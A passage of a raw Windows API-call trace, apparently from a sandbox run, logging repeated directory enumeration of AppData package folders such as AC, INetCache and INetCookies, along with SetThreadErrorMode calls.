ftCreationTime.dwLowDateTime=0x5a457e3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a457e3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a457e3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AC", cAlternateFileName="")) returned 1 [0214.837] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59f918e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x59f918e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x59f918e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0214.837] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59f918e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x59f918e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x59f918e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0214.837] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d3082, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x59d3082, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x59d3082, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0214.837] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d3082, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x59d3082, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x59d3082, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0214.838] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59f918e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x59f918e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x59f918e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings", cAlternateFileName="")) returned 1 [0214.838] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59f918e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x59f918e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x59f918e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0214.838] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d3082, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x59d3082, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x59d3082, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0214.838] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d3082, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x59d3082, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x59d3082, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0214.838] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0214.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0214.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0214.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0214.840] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x5b [0214.840] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d3082, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a457e3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a457e3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a900 [0214.841] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d3082, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a457e3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a457e3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.841] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a457e3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a457e3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a457e3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AC", cAlternateFileName="")) returned 1 [0214.841] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59f918e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x59f918e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x59f918e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0214.842] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59f918e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x59f918e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x59f918e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0214.842] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d3082, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x59d3082, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x59d3082, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0214.842] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d3082, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x59d3082, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x59d3082, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0214.842] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59f918e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x59f918e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x59f918e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings", cAlternateFileName="")) returned 1 [0214.842] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59f918e, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x59f918e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x59f918e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0214.842] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d3082, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x59d3082, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x59d3082, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0214.843] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0214.843] FindClose (in: hFindFile=0x1d46a900 | out: hFindFile=0x1d46a900) returned 1 [0214.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0214.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0214.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.844] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\AC", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\AC", lpFilePart=0x0) returned 0x5e [0214.844] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\AC\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\ac\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a457e3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a457e3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a457e3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0214.848] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a457e3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a457e3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a457e3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.848] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5a457e3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a457e3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a457e3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0214.848] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5a457e3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a457e3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a457e3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0214.848] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5a457e3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a457e3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a457e3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0214.849] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a457e3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a457e3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a457e3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0214.849] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a457e3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a457e3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a457e3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0214.849] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0214.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.850] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\AC", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\AC", lpFilePart=0x0) returned 0x5e [0214.850] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\AC\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\ac\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a457e3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a457e3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a457e3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0214.851] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a457e3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a457e3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a457e3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.852] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5a457e3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a457e3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a457e3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0214.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0214.853] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\AC\\INetCache", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\AC\\INetCache", lpFilePart=0x0) returned 0x68 [0214.853] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\AC\\INetCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\ac\\inetcache\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5a457e3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a457e3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a457e3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0214.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0214.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0214.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0214.855] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\AC\\INetCache", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\AC\\INetCache", lpFilePart=0x0) returned 0x68 [0214.855] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\AC\\INetCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\ac\\inetcache\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5a457e3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a457e3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a457e3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0214.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0214.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0214.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0214.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0214.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0214.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0214.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0214.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0214.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0214.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0214.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0214.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0214.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0214.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0214.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0214.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0214.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0214.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0214.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0214.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0214.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.862] 